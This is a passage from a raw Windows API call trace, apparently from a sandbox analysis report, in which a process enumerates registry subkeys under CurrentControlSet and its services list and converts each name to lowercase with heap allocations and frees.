dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0259.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0259.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0259.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0259.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0259.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.786] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0259.786] RegCloseKey (hKey=0xc4) returned 0x0 [0259.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0259.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0259.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.787] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0259.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0259.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.787] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0259.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0259.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.787] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0259.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.787] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0259.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0259.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.788] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.788] RegCloseKey (hKey=0x150) returned 0x0 [0259.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0259.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0259.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0259.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0259.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d60, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0259.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0259.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0259.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1ad8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0259.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0259.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0259.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d60, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0259.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0259.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0259.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1ad8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0259.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0259.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0259.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d60, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0259.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0259.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0259.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0259.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0259.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0259.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0259.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0259.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0259.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0259.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1ad8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0259.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0259.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, 